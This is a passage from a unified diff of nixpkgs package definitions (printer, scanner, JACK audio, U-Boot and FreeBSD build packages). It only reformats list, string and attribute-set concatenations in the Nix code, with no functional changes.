-      + lib.concatStringsSep ", " (lib.mapAttrsToList (name: value: value.passthru.hw) plugins);
+    longDescription = ''
+      Includes gui-less iscan (aka. Image Scan! for Linux).
+      Supported hardware: at least :
+    ''
+    + lib.concatStringsSep ", " (lib.mapAttrsToList (name: value: value.passthru.hw) plugins);
     maintainers = with lib.maintainers; [
       symphorien
       dominikh
diff --git a/pkgs/misc/drivers/gutenprint/default.nix b/pkgs/misc/drivers/gutenprint/default.nix
index 56b628ad9054..76ab075c2edc 100644
--- a/pkgs/misc/drivers/gutenprint/default.nix
+++ b/pkgs/misc/drivers/gutenprint/default.nix
@@ -25,29 +25,27 @@ stdenv.mkDerivation rec {
   };
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      makeWrapper
-      pkg-config
-    ]
-    ++ lib.optionals cupsSupport [
-      cups
-      perl
-    ]; # for cups-config
-  buildInputs =
-    [
-      ijs
-      zlib
-    ]
-    ++ lib.optionals gimp2Support [
-      gimp.gtk
-      gimp
-    ]
-    ++ lib.optionals cupsSupport [
-      cups
-      libusb1
-      perl
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    pkg-config
+  ]
+  ++ lib.optionals cupsSupport [
+    cups
+    perl
+  ]; # for cups-config
+  buildInputs = [
+    ijs
+    zlib
+  ]
+  ++ lib.optionals gimp2Support [
+    gimp.gtk
+    gimp
+  ]
+  ++ lib.optionals cupsSupport [
+    cups
+    libusb1
+    perl
+  ];
 
   configureFlags = lib.optionals cupsSupport [
     "--disable-static-genppd" # should be harmless on NixOS
diff --git a/pkgs/misc/jackaudio/default.nix b/pkgs/misc/jackaudio/default.nix
index 6098c9a5d419..83efe095a472 100644
--- a/pkgs/misc/jackaudio/default.nix
+++ b/pkgs/misc/jackaudio/default.nix
@@ -60,23 +60,23 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     python
     wafHook
-  ] ++ lib.optionals (optDbus != null) [ makeWrapper ];
-  buildInputs =
-    [
-      libsamplerate
-      celt
-      optDbus
-      optPythonDBus
-      optLibffado
-      optAlsaLib
-      optLibopus
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      aften
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-      freebsd.libsysinfo
-    ];
+  ]
+  ++ lib.optionals (optDbus != null) [ makeWrapper ];
+  buildInputs = [
+    libsamplerate
+    celt
+    optDbus
+    optPythonDBus
+    optLibffado
+    optAlsaLib
+    optLibopus
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    aften
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+    freebsd.libsysinfo
+  ];
 
   patches = [
     (fetchpatch2 {
@@ -91,17 +91,16 @@ stdenv.mkDerivation (finalAttrs: {
     patchShebangs --build svnversion_regenerate.sh
   '';
 
-  wafConfigureFlags =
-    [
-      "--classic"
-      "--autostart=${if (optDbus != null) then "dbus" else "classic"}"
-    ]
-    ++ lib.optional (optDbus != null) "--dbus"
-    ++ lib.optional (optLibffado != null) "--firewire"
-    ++ lib.optional (optAlsaLib != null) "--alsa"
-    ++ lib.optional (
-      stdenv.hostPlatform != stdenv.buildPlatform
-    ) "--platform=${stdenv.hostPlatform.parsed.kernel.name}";
+  wafConfigureFlags = [
+    "--classic"
+    "--autostart=${if (optDbus != null) then "dbus" else "classic"}"
+  ]
+  ++ lib.optional (optDbus != null) "--dbus"
+  ++ lib.optional (optLibffado != null) "--firewire"
+  ++ lib.optional (optAlsaLib != null) "--alsa"
+  ++ lib.optional (
+    stdenv.hostPlatform != stdenv.buildPlatform
+  ) "--platform=${stdenv.hostPlatform.parsed.kernel.name}";
 
   postInstall = (
     if libOnly then
diff --git a/pkgs/misc/jackaudio/tools.nix b/pkgs/misc/jackaudio/tools.nix
index 25b0b5af38ab..976cab0e16c8 100644
--- a/pkgs/misc/jackaudio/tools.nix
+++ b/pkgs/misc/jackaudio/tools.nix
@@ -40,19 +40,18 @@ stdenv.mkDerivation (final: {
     meson
     ninja
   ];
-  buildInputs =
-    [
-      jack
-      libopus
-      libsamplerate
-      libsndfile
-      readline
-    ]
-    ++ lib.optionals enableAlsa [
-      alsa-lib
-      zita-alsa-pcmi
-      zita-resampler
-    ];
+  buildInputs = [
+    jack
+    libopus
+    libsamplerate
+    libsndfile
+    readline
+  ]
+  ++ lib.optionals enableAlsa [
+    alsa-lib
+    zita-alsa-pcmi
+    zita-resampler
+  ];
 
   mesonFlags = [
     (lib.mesonEnable "alsa_in_out" enableAlsa)
diff --git a/pkgs/misc/opcua-client-gui/default.nix b/pkgs/misc/opcua-client-gui/default.nix
index 9315bdd8ca3d..57efde281be2 100644
--- a/pkgs/misc/opcua-client-gui/default.nix
+++ b/pkgs/misc/opcua-client-gui/default.nix
@@ -23,7 +23,8 @@ python3Packages.buildPythonApplication rec {
   nativeBuildInputs = [
     copyDesktopItems
     wrapQtAppsHook
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
 
   makeWrapperArgs = [
     "\${qtWrapperArgs[@]}"
diff --git a/pkgs/misc/uboot/default.nix b/pkgs/misc/uboot/default.nix
index ae2ce5e66131..8f9d68e06a01 100644
--- a/pkgs/misc/uboot/default.nix
+++ b/pkgs/misc/uboot/default.nix
@@ -73,7 +73,8 @@ let
 
         patches = [
           ./0001-configs-rpi-allow-for-bigger-kernels.patch
-        ] ++ extraPatches;
+        ]
+        ++ extraPatches;
 
         postPatch = ''
           ${lib.concatMapStrings (script: ''
@@ -98,7 +99,8 @@ let
           swig
           which # for scripts/dtc-version.sh
           perl # for oid build (secureboot)
-        ] ++ lib.optionals (!crossTools) toolsDeps;
+        ]
+        ++ lib.optionals (!crossTools) toolsDeps;
         depsBuildBuild = [ buildPackages.stdenv.cc ];
         buildInputs = lib.optionals crossTools toolsDeps;
 
@@ -109,7 +111,8 @@ let
         makeFlags = [
           "DTC=${lib.getExe buildPackages.dtc}"
           "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-        ] ++ extraMakeFlags;
+        ]
+        ++ extraMakeFlags;
 
         passAsFile = [ "extraConfig" ];
 
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/compat/package.nix b/pkgs/os-specific/bsd/freebsd/pkgs/compat/package.nix
index 940c7a000677..d56026227294 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/compat/package.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/compat/package.nix
@@ -21,114 +21,112 @@ in
 mkDerivation {
   pname = "compat";
   path = "tools/build";
-  extraPaths =
-    [
-      "lib/libc/db"
-      "lib/libc/stdlib" # getopt
-      "lib/libc/gen" # getcap
-      "lib/libc/locale" # rpmatch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "lib/libc/string" # strlcpy
-      "lib/libutil"
-    ]
-    ++ [
-      "contrib/libc-pwcache"
-      "contrib/libc-vis"
-      "sys/libkern"
-      "sys/kern/subr_capability.c"
+  extraPaths = [
+    "lib/libc/db"
+    "lib/libc/stdlib" # getopt
+    "lib/libc/gen" # getcap
+    "lib/libc/locale" # rpmatch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "lib/libc/string" # strlcpy
+    "lib/libutil"
+  ]
+  ++ [
+    "contrib/libc-pwcache"
+    "contrib/libc-vis"
+    "sys/libkern"
+    "sys/kern/subr_capability.c"
 
-      # Take only individual headers, or else we will clobber native libc, etc.
+    # Take only individual headers, or else we will clobber native libc, etc.
 
-      "sys/rpc/types.h"
-    ]
-    ++ lib.optionals (versionData.major >= 14) [
-      "sys/sys/bitcount.h"
-      "sys/sys/linker_set.h"
-      "sys/sys/module.h"
-    ]
-    ++ [
-      # Listed in Makekfile as INC
-      "include/mpool.h"
-      "include/ndbm.h"
-      "include/err.h"
-      "include/stringlist.h"
-      "include/a.out.h"
-      "include/nlist.h"
-      "include/db.h"
-      "include/getopt.h"
-      "include/nl_types.h"
-      "include/elf.h"
-      "sys/sys/ctf.h"
-    ]
-    ++ lib.optionals (versionData.major >= 14) [
-      "include/bitstring.h"
-      "sys/sys/bitstring.h"
-      "sys/sys/nv_namespace.h"
-    ]
-    ++ [
+    "sys/rpc/types.h"
+  ]
+  ++ lib.optionals (versionData.major >= 14) [
+    "sys/sys/bitcount.h"
+    "sys/sys/linker_set.h"
+    "sys/sys/module.h"
+  ]
+  ++ [
+    # Listed in Makekfile as INC
+    "include/mpool.h"
+    "include/ndbm.h"
+    "include/err.h"
+    "include/stringlist.h"
+    "include/a.out.h"
+    "include/nlist.h"
+    "include/db.h"
+    "include/getopt.h"
+    "include/nl_types.h"
+    "include/elf.h"
+    "sys/sys/ctf.h"
+  ]
+  ++ lib.optionals (versionData.major >= 14) [
+    "include/bitstring.h"
+    "sys/sys/bitstring.h"
+    "sys/sys/nv_namespace.h"
+  ]
+  ++ [
 
-      # Listed in Makefile as SYSINCS
+    # Listed in Makefile as SYSINCS
 
-      "sys/sys/capsicum.h"
-      "sys/sys/caprights.h"
-      "sys/sys/imgact_aout.h"
-      "sys/sys/nlist_aout.h"
-      "sys/sys/nv.h"
-      "sys/sys/dnv.h"
-      "sys/sys/cnv.h"
+    "sys/sys/capsicum.h"
+    "sys/sys/caprights.h"
+    "sys/sys/imgact_aout.h"
+    "sys/sys/nlist_aout.h"
+    "sys/sys/nv.h"
+    "sys/sys/dnv.h"
+    "sys/sys/cnv.h"
 
-      "sys/sys/elf32.h"
-      "sys/sys/elf64.h"
-      "sys/sys/elf_common.h"
-      "sys/sys/elf_generic.h"
-      "sys/${mkBsdMachine stdenv}/include"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86 [ "sys/x86/include" ]
-    ++ [
+    "sys/sys/elf32.h"
+    "sys/sys/elf64.h"
+    "sys/sys/elf_common.h"
+    "sys/sys/elf_generic.h"
+    "sys/${mkBsdMachine stdenv}/include"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86 [ "sys/x86/include" ]
+  ++ [
 
-      "sys/sys/queue.h"
-      "sys/sys/md5.h"
-      "sys/sys/sbuf.h"
-      "sys/sys/tree.h"
-      "sys/sys/font.h"
-      "sys/sys/consio.h"
-      "sys/sys/fnv_hash.h"
-      #"sys/sys/cdefs.h"
-      #"sys/sys/param.h"
-      "sys/sys/_null.h"
-      #"sys/sys/types.h"
-      "sys/sys/_pthreadtypes.h"
-      "sys/sys/_stdint.h"
+    "sys/sys/queue.h"
+    "sys/sys/md5.h"
+    "sys/sys/sbuf.h"
+    "sys/sys/tree.h"
+    "sys/sys/font.h"
+    "sys/sys/consio.h"
+    "sys/sys/fnv_hash.h"
+    #"sys/sys/cdefs.h"
+    #"sys/sys/param.h"
+    "sys/sys/_null.h"
+    #"sys/sys/types.h"
+    "sys/sys/_pthreadtypes.h"
+    "sys/sys/_stdint.h"
 
-      "sys/crypto/chacha20/_chacha.h"
-      "sys/crypto/chacha20/chacha.h"
-      # included too, despite ".c"
-      "sys/crypto/chacha20/chacha.c"
+    "sys/crypto/chacha20/_chacha.h"
+    "sys/crypto/chacha20/chacha.h"
+    # included too, despite ".c"
+    "sys/crypto/chacha20/chacha.c"
 
-      "sys/fs"
-      "sys/ufs"
-      "sys/sys/disk"
+    "sys/fs"
+    "sys/ufs"
+    "sys/sys/disk"
 
-      "lib/libcapsicum"
-      "lib/libcasper"
-      "lib/libmd"
+    "lib/libcapsicum"
+    "lib/libcasper"
+    "lib/libmd"
 
-      # idk bro
-      "sys/sys/kbio.h"
-    ]
-    ++ extraSrc;
+    # idk bro
+    "sys/sys/kbio.h"
+  ]
+  ++ extraSrc;
 
-  preBuild =
-    ''
-      NIX_CFLAGS_COMPILE+=' -I../../include -I../../sys'
+  preBuild = ''
+    NIX_CFLAGS_COMPILE+=' -I../../include -I../../sys'
 
-      cp ../../sys/${mkBsdMachine stdenv}/include/elf.h ../../sys/sys
-      cp ../../sys/${mkBsdMachine stdenv}/include/elf.h ../../sys/sys/${mkBsdMachine stdenv}
-    ''
-    + lib.optionalString stdenv.hostPlatform.isx86 ''
-      cp ../../sys/x86/include/elf.h ../../sys/x86
-    '';
+    cp ../../sys/${mkBsdMachine stdenv}/include/elf.h ../../sys/sys
+    cp ../../sys/${mkBsdMachine stdenv}/include/elf.h ../../sys/sys/${mkBsdMachine stdenv}
+  ''
+  + lib.optionalString stdenv.hostPlatform.isx86 ''
+    cp ../../sys/x86/include/elf.h ../../sys/x86
+  '';
 
   setupHooks = [
     ../../../../../build-support/setup-hooks/role.bash
@@ -160,17 +158,16 @@ mkDerivation {
     "INSTALL=boot-install"
   ];
 
-  preIncludes =
-    ''
-      mkdir -p $out/{0,1}-include
-      cp --no-preserve=mode -r cross-build/include/common/* $out/0-include
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      cp --no-preserve=mode -r cross-build/include/linux/* $out/1-include
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      cp --no-preserve=mode -r cross-build/include/darwin/* $out/1-include
-    '';
+  preIncludes = ''
+    mkdir -p $out/{0,1}-include
+    cp --no-preserve=mode -r cross-build/include/common/* $out/0-include
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    cp --no-preserve=mode -r cross-build/include/linux/* $out/1-include
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    cp --no-preserve=mode -r cross-build/include/darwin/* $out/1-include
+  '';
 
   # Compat is for making other platforms look like FreeBSD (e.g. to
   # build build-time dependencies for building FreeBSD packages). It is
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/csu.nix b/pkgs/os-specific/bsd/freebsd/pkgs/csu.nix
index d17a73a8d469..55d00923d103 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/csu.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/csu.nix
@@ -18,7 +18,8 @@ mkDerivation {
   extraPaths = [
     "lib/Makefile.inc"
     "lib/libc/include/libc_private.h"
-  ] ++ lib.optionals (versionData.major >= 14) [ "sys/sys/param.h" ];
+  ]
+  ++ lib.optionals (versionData.major >= 14) [ "sys/sys/param.h" ];
   nativeBuildInputs = [
     bsdSetupHook
     freebsdSetupHook
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/install.nix b/pkgs/os-specific/bsd/freebsd/pkgs/install.nix
index aab60480ec7a..01e40b9d9144 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/install.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/install.nix
@@ -50,16 +50,15 @@ mkDerivation {
     ++ [
       libnetbsd
     ];
-  makeFlags =
-    [
-      "STRIP=-s" # flag to install, not command
-      "MK_WERROR=no"
-      "TESTSDIR=${builtins.placeholder "test"}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [
-      "BOOTSTRAPPING=1"
-      "INSTALL=boot-install"
-    ];
+  makeFlags = [
+    "STRIP=-s" # flag to install, not command
+    "MK_WERROR=no"
+    "TESTSDIR=${builtins.placeholder "test"}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [
+    "BOOTSTRAPPING=1"
+    "INSTALL=boot-install"
+  ];
   postInstall = ''
     install -C -m 0550 ${binstall} $out/bin/binstall
     substituteInPlace $out/bin/binstall --subst-var out
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/libcMinimal.nix b/pkgs/os-specific/bsd/freebsd/pkgs/libcMinimal.nix
index 39cd09024fae..61004ed153e2 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/libcMinimal.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/libcMinimal.nix
@@ -32,7 +32,8 @@ mkDerivation {
     "etc/group"
     "etc/master.passwd"
     "etc/shells"
-  ] ++ extraSrc;
+  ]
+  ++ extraSrc;
 
   outputs = [
     "out"
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/libcasper.nix b/pkgs/os-specific/bsd/freebsd/pkgs/libcasper.nix
index df27f72bc8cb..d54fa2edf1c7 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/libcasper.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/libcasper.nix
@@ -17,7 +17,8 @@ mkDerivation {
   makeFlags = [
     "STRIP=-s" # flag to install, not command
     "CFLAGS=-DWITH_CASPER"
-  ] ++ lib.optional (!stdenv.hostPlatform.isFreeBSD) "MK_WERROR=no";
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isFreeBSD) "MK_WERROR=no";
 
   postInstall = ''
     make -C $BSDSRCDIR/lib/libcasper/services $makeFlags CFLAGS="-DWITH_CASPER -I$out/include"
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/libmd.nix b/pkgs/os-specific/bsd/freebsd/pkgs/libmd.nix
index 0062dac44d87..c2de9562f6d5 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/libmd.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/libmd.nix
@@ -23,7 +23,8 @@ mkDerivation (
     extraPaths = [
       "sys/crypto"
       "sys/sys"
-    ] ++ extraSrc;
+    ]
+    ++ extraSrc;
 
     outputs = [
       "out"
@@ -41,13 +42,12 @@ mkDerivation (
       ]
       ++ compatIfNeeded;
 
-    preBuild =
-      ''
-        mkdir $BSDSRCDIR/lib/libmd/sys
-      ''
-      + lib.optionalString stdenv.hostPlatform.isFreeBSD ''
-        export NIX_CFLAGS_COMPILE="$NIX_CFLAGS_COMPILE -B${csu}/lib"
-      '';
+    preBuild = ''
+      mkdir $BSDSRCDIR/lib/libmd/sys
+    ''
+    + lib.optionalString stdenv.hostPlatform.isFreeBSD ''
+      export NIX_CFLAGS_COMPILE="$NIX_CFLAGS_COMPILE -B${csu}/lib"
+    '';
 
     installPhase =
       if (!bootstrapInstallation) then
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/libnetbsd/package.nix b/pkgs/os-specific/bsd/freebsd/pkgs/libnetbsd/package.nix
index 1752583b0532..4cd030ebe02e 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/libnetbsd/package.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/libnetbsd/package.nix
@@ -24,7 +24,8 @@ mkDerivation {
   makeFlags = [
     "STRIP=-s" # flag to install, not command
     "MK_WERROR=no"
-  ] ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) "INSTALL=boot-install";
+  ]
+  ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) "INSTALL=boot-install";
 
   alwaysKeepStatic = true;
 }
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/libprocstat.nix b/pkgs/os-specific/bsd/freebsd/pkgs/libprocstat.nix
index 69c23fca74a4..7ed03a6b2662 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/libprocstat.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/libprocstat.nix
@@ -18,7 +18,8 @@ mkDerivation {
     "sys/contrib/pcg-c"
     "sys/opencrypto"
     "sys/crypto"
-  ] ++ extraSrc;
+  ]
+  ++ extraSrc;
 
   outputs = [
     "out"
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/libthr.nix b/pkgs/os-specific/bsd/freebsd/pkgs/libthr.nix
index 65ce4534fe4a..bd33c4121f7c 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/libthr.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/libthr.nix
@@ -15,7 +15,8 @@ mkDerivation {
     "lib/libthread_db"
     "lib/libc" # needs /include + arch-specific files
     "libexec/rtld-elf"
-  ] ++ extraSrc;
+  ]
+  ++ extraSrc;
 
   outputs = [
     "out"
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/libzfs.nix b/pkgs/os-specific/bsd/freebsd/pkgs/libzfs.nix
index 4796b6d6a651..ae57d195fd6a 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/libzfs.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/libzfs.nix
@@ -63,15 +63,14 @@ mkDerivation {
   # If we don't specify an object directory then
   # make will try to put openzfs objects in nonexistent directories.
   # This one seems to work
-  preBuild =
-    ''
-      export MAKEOBJDIRPREFIX=$BSDSRCDIR/obj
-    ''
-    + lib.flip lib.concatMapStrings libs (libname: ''
-      echo "building dependency ${libname}"
-      make -C $BSDSRCDIR/cddl/lib/${libname} $makeFlags
-      make -C $BSDSRCDIR/cddl/lib/${libname} $makeFlags install
-    '');
+  preBuild = ''
+    export MAKEOBJDIRPREFIX=$BSDSRCDIR/obj
+  ''
+  + lib.flip lib.concatMapStrings libs (libname: ''
+    echo "building dependency ${libname}"
+    make -C $BSDSRCDIR/cddl/lib/${libname} $makeFlags
+    make -C $BSDSRCDIR/cddl/lib/${libname} $makeFlags install
+  '');
 
   outputs = [
     "out"
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/localedef.nix b/pkgs/os-specific/bsd/freebsd/pkgs/localedef.nix
index 72180f8b1e2f..5703f669d74e 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/localedef.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/localedef.nix
@@ -15,7 +15,8 @@ mkDerivation ({
   extraPaths = [
     "lib/libc/locale"
     "lib/libc/stdtime"
-  ] ++ lib.optionals (!stdenv.hostPlatform.isFreeBSD) [ "." ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isFreeBSD) [ "." ];
 
   nativeBuildInputs = [
     bsdSetupHook
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/locales.nix b/pkgs/os-specific/bsd/freebsd/pkgs/locales.nix
index d8d3de93d5ec..8249fac2a6d1 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/locales.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/locales.nix
@@ -30,7 +30,8 @@ let
         lorder
         mandoc
         groff
-      ] ++ lib.optional needsLocaledef localedef;
+      ]
+      ++ lib.optional needsLocaledef localedef;
     };
   directories = {
     colldef = true;
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/make.nix b/pkgs/os-specific/bsd/freebsd/pkgs/make.nix
index a622e25f7a77..848a718bee15 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/make.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/make.nix
@@ -7,17 +7,16 @@
 mkDerivation {
   path = "contrib/bmake";
   version = "9.2";
-  postPatch =
-    ''
-      # make needs this to pick up our sys make files
-      export NIX_CFLAGS_COMPILE+=" -D_PATH_DEFSYSPATH=\"$out/share/mk\""
+  postPatch = ''
+    # make needs this to pick up our sys make files
+    export NIX_CFLAGS_COMPILE+=" -D_PATH_DEFSYSPATH=\"$out/share/mk\""
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace $BSDSRCDIR/share/mk/bsd.sys.mk \
-        --replace '-Wl,--fatal-warnings' "" \
-        --replace '-Wl,--warn-shared-textrel' ""
-    '';
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace $BSDSRCDIR/share/mk/bsd.sys.mk \
+      --replace '-Wl,--fatal-warnings' "" \
+      --replace '-Wl,--warn-shared-textrel' ""
+  '';
   postInstall = ''
     make -C $BSDSRCDIR/share/mk FILESDIR=$out/share/mk install
   '';
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/mkDerivation.nix b/pkgs/os-specific/bsd/freebsd/pkgs/mkDerivation.nix
index 4dc0f4c42bb7..aa4967e2c512 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/mkDerivation.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/mkDerivation.nix
@@ -53,49 +53,48 @@ lib.makeOverridable (
         lorder
         mandoc
         groff
-      ] ++ attrs.extraNativeBuildInputs or [ ];
+      ]
+      ++ attrs.extraNativeBuildInputs or [ ];
       buildInputs = compatIfNeeded;
 
-      makeFlags =
-        [
-          "STRIP=-s" # flag to install, not command
-        ]
-        ++ lib.optional (!stdenv'.hostPlatform.isFreeBSD) "MK_WERROR=no"
-        ++ lib.optional stdenv.hostPlatform.isStatic "SHLIB_NAME=";
+      makeFlags = [
+        "STRIP=-s" # flag to install, not command
+      ]
+      ++ lib.optional (!stdenv'.hostPlatform.isFreeBSD) "MK_WERROR=no"
+      ++ lib.optional stdenv.hostPlatform.isStatic "SHLIB_NAME=";
 
-      env =
-        {
-          HOST_SH = stdenv'.shell;
+      env = {
+        HOST_SH = stdenv'.shell;
 
-          # amd64 not x86_64 for this on unlike NetBSD
-          MACHINE_ARCH = freebsd-lib.mkBsdArch stdenv';
+        # amd64 not x86_64 for this on unlike NetBSD
+        MACHINE_ARCH = freebsd-lib.mkBsdArch stdenv';
 
-          MACHINE = freebsd-lib.mkBsdMachine stdenv';
+        MACHINE = freebsd-lib.mkBsdMachine stdenv';
 
-          MACHINE_CPUARCH = freebsd-lib.mkBsdCpuArch stdenv';
+        MACHINE_CPUARCH = freebsd-lib.mkBsdCpuArch stdenv';
 
-          COMPONENT_PATH = attrs.path or null;
+        COMPONENT_PATH = attrs.path or null;
 
-          # don't set filesystem flags that require root
-          NO_FSCHG = "yes";
-        }
-        // lib.optionalAttrs stdenv'.hasCC {
-          # TODO should CC wrapper set this?
-          CPP = "${stdenv'.cc.targetPrefix}cpp";
+        # don't set filesystem flags that require root
+        NO_FSCHG = "yes";
+      }
+      // lib.optionalAttrs stdenv'.hasCC {
+        # TODO should CC wrapper set this?
+        CPP = "${stdenv'.cc.targetPrefix}cpp";
 
-          # Since STRIP in `makeFlags` has to be a flag, not the binary itself
-          STRIPBIN = "${stdenv'.cc.bintools.targetPrefix}strip";
-        }
-        // lib.optionalAttrs (!stdenv.hostPlatform.isFreeBSD) { BOOTSTRAPPING = true; }
-        // lib.optionalAttrs stdenv'.hostPlatform.isDarwin { MKRELRO = "no"; }
-        // lib.optionalAttrs (stdenv'.cc.isClang or false) {
-          HAVE_LLVM = lib.versions.major (lib.getVersion stdenv'.cc.cc);
-        }
-        // lib.optionalAttrs (stdenv'.cc.isGNU or false) {
-          HAVE_GCC = lib.versions.major (lib.getVersion stdenv'.cc.cc);
-        }
-        // lib.optionalAttrs (stdenv'.hostPlatform.isx86_32) { USE_SSP = "no"; }
-        // (attrs.env or { });
+        # Since STRIP in `makeFlags` has to be a flag, not the binary itself
+        STRIPBIN = "${stdenv'.cc.bintools.targetPrefix}strip";
+      }
+      // lib.optionalAttrs (!stdenv.hostPlatform.isFreeBSD) { BOOTSTRAPPING = true; }
+      // lib.optionalAttrs stdenv'.hostPlatform.isDarwin { MKRELRO = "no"; }
+      // lib.optionalAttrs (stdenv'.cc.isClang or false) {
+        HAVE_LLVM = lib.versions.major (lib.getVersion stdenv'.cc.cc);
+      }
+      // lib.optionalAttrs (stdenv'.cc.isGNU or false) {
+        HAVE_GCC = lib.versions.major (lib.getVersion stdenv'.cc.cc);
+      }
+      // lib.optionalAttrs (stdenv'.hostPlatform.isx86_32) { USE_SSP = "no"; }
+      // (attrs.env or { });
 
       strictDeps = true;
 
@@ -106,7 +105,8 @@ lib.makeOverridable (
         ];
         platforms = lib.platforms.unix;
         license = lib.licenses.bsd2;
-      } // attrs.meta or { };
+      }
+      // attrs.meta or { };
     }
     // lib.optionalAttrs (attrs.headersOnly or false) {
       installPhase = "includesPhase";
@@ -114,14 +114,13 @@ lib.makeOverridable (
     }
     // (builtins.removeAttrs attrs [ "env" ])
     // lib.optionalAttrs (stdenv'.hasCC && stdenv'.cc.isClang or false && attrs.clangFixup or true) {
-      preBuild =
-        ''
-          export NIX_CFLAGS_COMPILE="$NIX_CFLAGS_COMPILE -D_VA_LIST -D_VA_LIST_DECLARED -Dva_list=__builtin_va_list -D_SIZE_T_DECLARED -D_SIZE_T -Dsize_t=__SIZE_TYPE__ -D_WCHAR_T"
-        ''
-        + lib.optionalString (versionData.major == 13) ''
-          export NIX_LDFLAGS="$NIX_LDFLAGS --undefined-version"
-        ''
-        + (attrs.preBuild or "");
+      preBuild = ''
+        export NIX_CFLAGS_COMPILE="$NIX_CFLAGS_COMPILE -D_VA_LIST -D_VA_LIST_DECLARED -Dva_list=__builtin_va_list -D_SIZE_T_DECLARED -D_SIZE_T -Dsize_t=__SIZE_TYPE__ -D_WCHAR_T"
+      ''
+      + lib.optionalString (versionData.major == 13) ''
+        export NIX_LDFLAGS="$NIX_LDFLAGS --undefined-version"
+      ''
+      + (attrs.preBuild or "");
     }
     // {
       patches =
@@ -136,11 +135,9 @@ lib.makeOverridable (
       lib.optionalAttrs
         (!stdenv.hostPlatform.isStatic && !attrs.alwaysKeepStatic or false && stdenv.hostPlatform.isFreeBSD)
         {
-          postInstall =
-            (attrs.postInstall or "")
-            + ''
-              rm -f $out/lib/*.a
-            '';
+          postInstall = (attrs.postInstall or "") + ''
+            rm -f $out/lib/*.a
+          '';
         }
     //
       lib.optionalAttrs
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/rc.nix b/pkgs/os-specific/bsd/freebsd/pkgs/rc.nix
index 9e4932ef7206..cd4d7ab854b5 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/rc.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/rc.nix
@@ -33,49 +33,48 @@ mkDerivation {
     "services"
   ];
 
-  postPatch =
+  postPatch = ''
+    substituteInPlace "$BSDSRCDIR/libexec/rc/Makefile" --replace-fail /etc $out/etc
+    substituteInPlace "$BSDSRCDIR/libexec/rc/rc.d/Makefile" \
+      --replace-fail /etc $services/etc \
+      --replace-fail /var $services/var
+  ''
+  + (
+    let
+      bins = [
+        "/sbin/sysctl"
+        "/usr/bin/protect"
